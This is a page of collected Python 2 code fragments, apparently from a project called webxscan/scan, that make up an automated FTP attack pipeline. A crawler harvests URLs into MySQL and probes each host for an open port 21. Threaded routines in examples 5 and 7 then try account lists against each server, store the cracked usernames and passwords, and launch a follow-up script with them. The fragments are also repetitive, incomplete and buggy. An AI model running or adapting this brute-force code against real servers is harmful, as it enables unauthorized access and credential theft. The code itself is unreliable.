Ejemplo n.º 1
0
def mysql_add(data1):  #添加到数据库
    try:
        #    print "++++++++++++++++++++",data   #添加数据
        sql = "select * from url where url='%s'" % (data1)
        data = mysql.mysql_select(sql)
        if data.find('null123456'):
            #print u"已经有了这个URL",data1
            return 0
        else:  #没有可以添加
            #print data1
            if ~(data1.find("/") and data1.find("http") and data1.find("?")
                 and data1.find("%")):
                #print u"非法URL"
                return 0
            else:
                LS.liet_add(data1)  #添加到数组
                if LS.liet_CX("AAAAA"):  #查询数据是否存在
                    print u"\n数组里以有这个域名不添加", data1
                    return 0
                else:
                    #print u"无"
                    insert = "insert into url(url,time) VALUES('%s','%s')" % (
                        data1, time.strftime('%Y.%m.%d-%H.%M.%S'))
                    #print insert
                    if mysql.mysql_insert(insert):  #添加数据
                        mysql.mysql_S()  #提交
                        print u"\n添加成功", data1
                    else:
                        print u"\n添加失败", data1
    except:
        return 0
Ejemplo n.º 2
0
def sql_sel():  #SQL查询
    try:
        global INI_data1  #扫描过FTP个
        global INI_data2  #扫描出个密码
        print u"-------扫描过FTP:%s个/扫描出:%s个密码-------" % (INI_data1, INI_data2)
        try:  #检测网络连接状态
            urllib2.urlopen(r"http://www.163.com", timeout=10)
            #print u"网络连接成功"
            #return 1
        except:
            print u"网络无连接 重启程序自身"
            mysql.mysql_S()  #保存数据
            mysql.mysql_close()  #关闭数据库
            atexit.register(close)  #自动重启本程序
        sql = "select * from ftp where ftpsend is NULL limit 1"
        mysql.cursor.execute(sql)
        mysql.cursor.scroll(0)
        for row in mysql.cursor.fetchall():
            INI_data1 = INI_data1 + 1  #扫描过FTP个
            www_port(row[0])  #www转换IP在查看端口
            #print row[0]
            #time.sleep(3)  #延时
    except:
        print u"读取URL异常!!!!!"
        print u"3秒后,程序将结束重启..."
        mysql.mysql_S()  #保存数据
        mysql.mysql_close()  #关闭数据库
        atexit.register(close)  #自动重启本程序
Ejemplo n.º 3
0
def host_ftp(host):  #测试URL FTP是否开放
    try:
        if host == '':  #传入值等于空   返回
            print u"传入地址不能为空"
            time.sleep(1) #确保先运行Seeker中的方法
            #sql_sel()   #SQL查询
            return 0

        ftpB = FTP()  #初始化FTP类
        ftpB.connect(host,21)  #连接 服务器名  端口号
        ftpB.quit() #退出ftp服务器

        sql_up(host,"send")
        print u"连接成功添加url:",host
        sql="insert into ftp (url,time) VALUES ('%s','%s')"%(host,time.strftime('%Y.%m.%d-%H.%M.%S'))
        mysql.mysql_insert(sql) #添加到数据库
        mysql.mysql_S()  #保存数据
        open_mysql()   #SQL查询
        #SQL修改数据
#        if sql_up(host,"send"):
#            print host,u"服务器FTP21端口开放-修改成功",
#            print u"(∩_∩)"  #添加成功
#            open_mysql()   #SQL查询
#            return 1
#        else:
#            print host,u"服务器FTP21端口开放-修改失败",
#            print u"(╯▽╰)"  #添加失败
#            open_mysql()   #SQL查询
#            return 0
    except:
        print host,u"服务器FTP21端口可能没有开放",
        sql_up(host,"no21") #SQL修改数据
        open_mysql()   #SQL查询
        return 0
Ejemplo n.º 4
0
def URL_DZ(URL):  #遍历页里的地址
    try:
        LS = list.Clist()  #初始化类
        LS.list_del()  #清空list列表
        s = urllib2.urlopen(
            URL,
            timeout=10)  # 超时10秒   #s = urllib2.urlopen(r"http://www.163.com")
        ss = s.read()
        p = re.compile(r'<a.+?href=.+?>.+?</a>')
        pname = re.compile(r'(?<=>).*?(?=</a>)')
        phref = re.compile(r'(?<=href\=\").*?(?=\")')
        #构造及编译正则表达式
        sarr = p.findall(ss)
        #找出一条一条的<a></a>标签
        #这添加到数组在过滤重复值减少mysql压力
        i = 0
        for every in sarr:
            if i >= 3000:
                print u"超过3000个URL地址!!!!!!\n"
                break
            else:
                i += 1
            sname = pname.findall(every)
            if sname:
                sname = sname[0]
                shref = phref.findall(every)
            if shref:
                shref = shref[0]
                #print sname.decode( 'gbk' ), "\n" #获取连接名字
                #print shref #获取URL
                if URL_STR(shref):
                    print shref, u"非法HTTP地址"
                else:
                    #print shref   #"查找到了正确URL地址"
                    a1 = URL_TQURL(shref)  #URL提取URL
                    LS.liet_add(a1)  #添加到数组

        LS.liet_lsqc()  #数组列表去重复
        print u"原URL数据量:", len(LS.list)
        print u"去掉重复URL剩下数据量:", len(LS.list_2)
        time.sleep(1)
        E = 0  #得到list的第一个元素
        while E < len(LS.list_2):
            #添加到数据库
            if mysql_add(LS.list_2[E]):
                print "_-_"  #添加成功
            else:
                print "-_-"  #添加失败
            #print "\n",LS.list_2[E],
            E = E + 1
        mysql.mysql_S()  #保存数据
        print u"-----------------------URL列表添加完成-----------------------"
        open_mysql()  #读取URL

        # 上面是将每条<a></a>里面的内容和地址给匹配出来
    except:
        print u"这个URL地址无效!!!!!!!!!!!!!!"
        mysql.mysql_S()  #保存数据
        open_mysql()  #读取URL
Ejemplo n.º 5
0
            def run(self):
                MAX_RETRIES = 10
                retry = 0
                account = None  #None=NULL  数组
                while self.running and accounts:  #list数组

                    try:
                        self.ftp.connect(domain, port)  #连接 服务器名  端口号
                    except Exception, e:
                        if retry <= MAX_RETRIES:  #这是为了控制线程吗
                            retry = retry + 1  #没必要使用这个变量啊
                            continue  #跳过
                        else:
                            self.running = False  #这是  控制线程
                            break  #跳出

                    print ".",
                    #重新每三次    为什么一个账户要连接3次  呢
                    loop_num = 0
                    while loop_num < 3:
                        loop_num = loop_num + 1

                        if not account and accounts:  #list数组
                            account = accounts.pop()  #list数组  输出

                        #绝对不要尝试
                        if not account:  #数组无数据了就跳出
                            break  #跳出

                        #print u'IP:',host,u'用户名:',account[0],u'密码:',account[1]
                        #print ".",
                        print "&\r",
                        try:
                            self.ftp.login(account[0], account[1])  #连接FTP
                            #没有异常发生,这是一个正确的帐号
                            print u'\nFTP连接成功IP:', host, u"用户名:", account[
                                0], u"密码:", account[1]
                            mysql.mysql_open()  #连接数据库
                            sql = "insert into ftppassword(IP,user,password,time) values('%s','%s','%s','%s')" % (
                                host, account[0], account[1],
                                time.strftime('%Y.%m.%d-%H.%M.%S'))
                            mysql.mysql_insert(sql)  #添加到数据库
                            mysql.mysql_S()  #保存数据
                            os.system('python adminFTP.py %s %s %s' %
                                      (host, account[0], account[1]))
                            account = None  #None=NULL
                        except Exception, e:
                            emsg = str(e)  #调试信息
                            print "/\r",
                            if 'connection' in emsg.lower(
                            ) or 'tries' in emsg.lower(
                            ):  #判断 连接  失败错误信息    不明白何意
                                retry = retry + 1
                                break  #跳出
                            else:
                                #reset retry
                                account = None  #None=NULL
                                retry = 0
Ejemplo n.º 6
0
def sql_up(url, data):  #SQL修改数据
    try:
        up = "update  url1 set  ftpsend='%s' where url='%s'" % (data, url)
        if mysql.mysql_update(up):  #修改数据
            print url, u"修改数据库成功"
        else:
            print url, u"修改数据库失败"
        mysql.mysql_S()  #保存数据
    except:
        return 0
Ejemplo n.º 7
0
            def run(self):
                MAX_RETRIES = 10
                retry = 0

                account = None  #None=NULL  数组
                while self.running and accounts:  #list数组
                    try:  #个不错我觉得不错  当连接失败     为什么后面还要进行  组合连接尝试呢
                        # 我觉得其实后面  就没必要在进行组合了    为什么这个不在进入类之前就开始判断呢  或者进入类的时候
                        self.ftp.connect(domain, port)  #连接 服务器名  端口号
                    except Exception, e:
                        if retry <= MAX_RETRIES:  #这是为了控制线程吗
                            retry = retry + 1  #没必要使用这个变量啊
                            continue  #跳过
                        else:
                            self.running = False  #这是  控制线程
                            break  #跳出

                    #重新每三次    为什么一个账户要连接3次  呢
                    loop_num = 0
                    while loop_num < 3:
                        loop_num = loop_num + 1

                        if not account and accounts:  #list数组
                            account = accounts.pop()  #list数组  输出

                        #绝对不要尝试
                        if not account:  #数组无数据了就跳出
                            break  #跳出

                        #print u'IP:',host,u'用户名:',account[0],u'密码:',account[1]
                        print ".",
                        try:
                            self.ftp.login(account[0], account[1])  #连接FTP
                            #没有异常发生,这是一个正确的帐号
                            print ""
                            print u'找到FTP成功:IP', host, u"用户名:", account[
                                0], u"密码:", account[1]
                            sql = "insert into ftp(IP,user,password,time) values('%s','%s','%s','%s')" % (
                                host, account[0], account[1],
                                time.strftime('%Y.%m.%d-%H.%M.%S'))
                            #print sql
                            mysql.mysql_insert(sql)  #添加到数据库
                            mysql.mysql_S()  #保存数据
                            account = None  #None=NULL
                        except Exception, e:
                            emsg = str(e)  #调试信息
                            if 'connection' in emsg.lower(
                            ) or 'tries' in emsg.lower(
                            ):  #判断 连接  失败错误信息    不明白何意
                                retry = retry + 1
                                break  #跳出
                            else:
                                #reset retry
                                account = None  #None=NULL
                                retry = 0
Ejemplo n.º 8
0
def open_mysql():  #读取URL
    try:
        global INI_data1  #扫描过URL个
        try:  #检测网络连接状态
            urllib2.urlopen(r"http://www.163.com", timeout=10)
            #print u"网络连接成功"
            #return 1
        except:
            print u"网络无连接 重启程序自身"
            mysql.mysql_S()  #保存数据
            mysql.mysql_close()  #关闭数据库
            atexit.register(close)  #自动重启本程序
        sql = "select * from url where httpsend is NULL limit 1"
        data = mysql.mysql_select(sql)
        #print U"数据库URL",data
        if ~data.find("null123456"):
            print u"可能无读取的数据请查看数据库!!!!!"
            mysql.mysql_S()  #保存数据
            time.sleep(1)  #3秒
            atexit.register(close)  #自动重启本程序
        update = "update url set httpsend='send' where url='%s'" % (data)
        mysql.mysql_update(update)
        mysql.mysql_S()  #保存数据

        url_data = "http://" + data
        print u"读取URL:", url_data
        INI_data1 = INI_data1 + 1
        URL_DZ(url_data)  #遍历页里的地址
    except:
        print u"读取URL异常!!!!!"
        print u"3秒后,程序将结束重启..."
        mysql.mysql_S()  #保存数据
        mysql.mysql_close()  #关闭数据库
        #close()  #自动重启本程序
        atexit.register(close)  #自动重启本程序
Ejemplo n.º 9
0
def sql_cx(data):  #SQL查询
    try:
        sql = "select * from url where url like '%%%s'" % (data)
        mysql.cursor.execute(sql)
        mysql.cursor.scroll(0)
        for row in mysql.cursor.fetchall():
            up = "update  url set  ftpsend='NO' where url='%s'" % (row[0])
            if mysql.mysql_update(up):  #修改数据
                print row[0], u"修改成功"
            else:
                print row[0], u"修改失败"
        mysql.mysql_S()  #保存数据
    except:
        return 0
Ejemplo n.º 10
0
def sql_sel(): #SQL查询
    try:
        sql="select * from url where ftpsend is NULL limit 1"
        mysql.cursor.execute(sql)
        mysql.cursor.scroll(0)
        for row in mysql.cursor.fetchall():
            www_port(row[0])  #www转换IP在查看端口
            #print row[0]
            time.sleep(3)  #延时
    except:
        print u"读取URL异常!!!!!"
        print u"3秒后,程序将结束重启..."
        mysql.mysql_S()  #保存数据
        mysql.mysql_close()  #关闭数据库
        atexit.register(close)#自动重启本程序
Ejemplo n.º 11
0
def sql_sel(): #SQL查询
    try:
        a=random.randrange(1,8)   #产生一个随机数8以内的
        time.sleep(a) #确保先运行Seeker中的方法
        sql="select * from ftp where ftpsend is NULL limit 1"
        mysql.cursor.execute(sql)
        mysql.cursor.scroll(0)
        for row in mysql.cursor.fetchall():
            FTP_username(row[0])  #导入密码组合方式
    except:
        print u"SQL读取URL异常!!!!!"
        #print u"3秒后,程序将结束重启..."
        mysql.mysql_S()  #保存数据
        mysql.mysql_close()  #关闭数据库
        #close()  #自动重启本程序
        atexit.register(close)#自动重启本程序
Ejemplo n.º 12
0
def sql_sel():  #SQL查询
    try:
        a = random.randrange(1, 8)  #产生一个随机数8以内的
        time.sleep(a)  #确保先运行Seeker中的方法
        sql = "select * from ftp where ftpsend is NULL limit 1"
        mysql.cursor.execute(sql)
        mysql.cursor.scroll(0)
        for row in mysql.cursor.fetchall():
            FTP_username(row[0])  #导入密码组合方式
    except:
        print u"SQL读取URL异常!!!!!"
        #print u"3秒后,程序将结束重启..."
        mysql.mysql_S()  #保存数据
        mysql.mysql_close()  #关闭数据库
        #close()  #自动重启本程序
        atexit.register(close)  #自动重启本程序
Ejemplo n.º 13
0
 def ftp_login(self, host, nthreads=10, port=21):  #传入名域名开始扫描
     #尝试登录  if success return username & password
     #print u"要扫描IP:",host,
     try:
         ftpA = FTP()  #初始化FTP类
         ftpA.connect(host, port)  #连接 服务器名  端口号
         upf1 = "update  ftp set  ftpsend='send' where url='%s'" % (host)
         mysql.mysql_update(upf1)  #修改数据
         mysql.mysql_S()  #保存数据
     except Exception, e:
         print u"%s服务器FTP21端口可能没有开放" % host
         upf2 = "update  ftp set  ftpsend='====' where url='%s'" % (host)
         mysql.mysql_update(upf2)  #修改数据
         mysql.mysql_S()  #保存数据
         #linlkFTP.sql_sel()   #SQL查询
         return
Ejemplo n.º 14
0
def sql_up(url,data): #SQL修改数据
    try:
        up = "update  ftp set  ftpsend='%s' where url='%s'"%(data.encode('utf-8'),url)
        if mysql.mysql_update(up):  #修改数据
            print url,u"修改数据库",data,u"成功\n"
            mysql.mysql_S()  #保存数据
            #a=random.randrange(1,4)   #产生一个随机数8以内的
            #time.sleep(a) #确保先运行Seeker中的方法
            return 1
        else:
            print url,u"修改数据库",data,u"失败\n"
            mysql.mysql_S()  #保存数据
            #b=random.randrange(5,15)   #产生一个随机数8以内的
            #time.sleep(b) #确保先运行Seeker中的方法
            return 0
            #mysql.mysql_S()  #保存数据
    except:
        return 0
Ejemplo n.º 15
0
def sql_up(url,data): #SQL修改数据
    try:
        up = "update  ftp set  ftpsend='%s' where url='%s'"%(data.encode('utf-8'),url)
        if mysql.mysql_update(up):  #修改数据
            print url,u"修改数据库",data,u"成功\n"
            mysql.mysql_S()  #保存数据
            #a=random.randrange(1,4)   #产生一个随机数8以内的
            #time.sleep(a) #确保先运行Seeker中的方法
            return 1
        else:
            print url,u"修改数据库",data,u"失败\n"
            mysql.mysql_S()  #保存数据
            #b=random.randrange(5,15)   #产生一个随机数8以内的
            #time.sleep(b) #确保先运行Seeker中的方法
            return 0
            #mysql.mysql_S()  #保存数据
    except:
        return 0
Ejemplo n.º 16
0
def URL_DZ(URL):  #遍历页里的地址
    try:
        s = urllib2.urlopen(
            URL,
            timeout=10)  # 超时10秒   #s = urllib2.urlopen(r"http://www.163.com")
        ss = s.read()
        p = re.compile(r'<a.+?href=.+?>.+?</a>')
        pname = re.compile(r'(?<=>).*?(?=</a>)')
        phref = re.compile(r'(?<=href\=\").*?(?=\")')
        #构造及编译正则表达式
        sarr = p.findall(ss)
        #找出一条一条的<a></a>标签
        i = 0
        for every in sarr:
            if i > 1000:
                print u"超过1000个URL地址!!!!!!\n"
                break
            else:
                i += 1
            sname = pname.findall(every)
            if sname:
                sname = sname[0]
                shref = phref.findall(every)
            if shref:
                shref = shref[0]
                #print sname.decode( 'gbk' ), "\n" #获取连接名字
                #print shref #获取URL
                if URL_STR(shref):
                    #print shref,u"没有找到非法HTTP地址"
                    print "#",
                else:
                    #print shref   #"查找到了正确URL地址"
                    a1 = URL_TQURL(shref)  #URL提取URL
                    #                    print ""
                    #                    print a1
                    mysql_add(a1)  #添加到数据库
#        mysql.mysql_S()  #保存数据
#        open_mysql()  #读取URL
# 上面是将每条<a></a>里面的内容和地址给匹配出来
    except:
        #print u"这个URL地址无效!!!!!!!!!!!!!!"
        mysql.mysql_S()  #保存数据
Ejemplo n.º 17
0
Archivo: txt.py Proyecto: webxscan/scan
def open_mysql():  #读取URL
    #    sql="select * from url where httpsend is NULL limit 1"
    #    data = mysql.mysql_select(sql)
    #    if ~data.find("null123456"):
    #        while True:  #进入死循环不读取
    #            print "可能无读取的数据请查看数据库!!!!!"
    #            time.sleep(3)  #3秒
    ##############
    #    else:
    #        update = "update url set time='%s',httpsend='send' where url='%s'"%(time.strftime('%Y.%m.%d-%H.%M.%S'),data)
    #        mysql.mysql_update(update)
    #        mysql.mysql_S()  #保存数据
    #        url_data = "http://"+data
    #        print "读取URL:",url_data
    #        URL_DZ(url_data)  #遍历页里的地址
    ##############
    try:
        sql = "select * from url where httpsend is NULL limit 1"
        data = mysql.mysql_select(sql)
        print U"数据库URL", data
        if ~data.find("null123456"):
            print u"可能无读取的数据请查看数据库!!!!!"
            mysql.mysql_S()  #保存数据
            time.sleep(1)  #3秒
            #open_mysql()  #读取URL
            atexit.register(close)  #自动重启本程序
        update = "update url set time='%s',httpsend='send' where url='%s'" % (
            time.strftime('%Y.%m.%d-%H.%M.%S'), data)
        mysql.mysql_update(update)
        mysql.mysql_S()  #保存数据
        url_data = "http://" + data
        print u"读取URL:", url_data
        URL_DZ(url_data)  #遍历页里的地址
    except:
        print u"读取URL异常!!!!!"
        print u"3秒后,程序将结束重启..."
        mysql.mysql_S()  #保存数据
        mysql.mysql_close()  #关闭数据库
        #close()  #自动重启本程序
        atexit.register(close)  #自动重启本程序
Ejemplo n.º 18
0
def sql_up(url,data): #SQL修改数据
    try:
        up = "update  url set  ftpsend='%s' where url='%s'"%(data.encode('utf-8'),url)
        if mysql.mysql_update(up):  #修改数据
            print url,u"修改数据库",data,u"成功\n"
            mysql.mysql_S()  #保存数据
            a=random.randrange(1,4)   #产生一个随机数8以内的
            time.sleep(a) #确保先运行Seeker中的方法
            return 1
        else:
            print url,u"修改数据库",data,u"失败\n"
            mysql.mysql_S()  #保存数据
            b=random.randrange(5,15)   #产生一个随机数8以内的
            time.sleep(b) #确保先运行Seeker中的方法
            return 0
            #mysql.mysql_S()  #保存数据
    except:
        print u"修改数据出错"
        mysql.mysql_S()  #保存数据
        mysql.mysql_close()  #关闭数据库
        #close()  #自动重启本程序
        atexit.register(close)#自动重启本程序
Ejemplo n.º 19
0
def open_mysql():  #读取URL
    try:
        sql="select * from url where ftpsend is NULL limit 1"
        data = mysql.mysql_select(sql)
        #print U"数据库URL",data
        if ~data.find("null123456"):
            print u"可能无读取的数据请查看数据库!!!!!"
            mysql.mysql_S()  #保存数据
            time.sleep(1)  #3秒
            atexit.register(close)#自动重启本程序
        update = "update url set ftpsend='send' where url='%s'"%(data)
        mysql.mysql_update(update)
        mysql.mysql_S()  #保存数据
        #url_data = "http://"+data
        print u"测试URLFTP:",data
        host_ftp(data)  #测试URL FTP是否开放
    except:
        print u"读取URL异常!!!!!"
        print u"3秒后,程序将结束重启..."
        mysql.mysql_S()  #保存数据
        mysql.mysql_close()  #关闭数据库
        #close()  #自动重启本程序
        atexit.register(close)#自动重启本程序
Ejemplo n.º 20
0
import sys
import mysql  #数据库操作文件
if __name__ == '__main__':
    #mysql.mysql_open()  #连接数据库
    #sql_sel() #SQL查询
    if len(sys.argv) != 4:
        print '传入参数不对python c1.py %s %s %s\n'
    else:
        mysql.mysql_open()  #连接数据库
        print u"连接测试URLFTP开始:", sys.argv[1].strip()
        if ftpconnect(sys.argv[1].strip(), sys.argv[2].strip(),
                      sys.argv[3].strip()):  #连接FTP
            #print "连接成功"
            print sys.argv[1].strip(), u"扫描完成===FTP状态:", ftpID
            print u"IP:", sys.argv[1].strip(), u"用户名:", sys.argv[2].strip(
            ), u"密码:", sys.argv[3].strip(), u"连接成功"
        else:
            #print "连接失败"
            print sys.argv[1].strip(), u"扫描完成===FTP状态:", ftpID
            print u"IP:", sys.argv[1].strip(), u"用户名:", sys.argv[2].strip(
            ), u"密码:", sys.argv[3].strip(), u"连接失败"
        up = "update  ftppassword set  data='%d',time='%s' where IP='%s' and user='******' and password='******'" % (
            ftpID, time.strftime('%Y.%m.%d-%H.%M.%S'), sys.argv[1].strip(),
            sys.argv[2].strip(), sys.argv[3].strip())
        if mysql.mysql_update(up):  #修改数据
            print sys.argv[1].strip(), u"修改数据库成功\n"
        else:
            print sys.argv[1].strip(), u"修改数据库失败\n"
        mysql.mysql_S()  #保存数据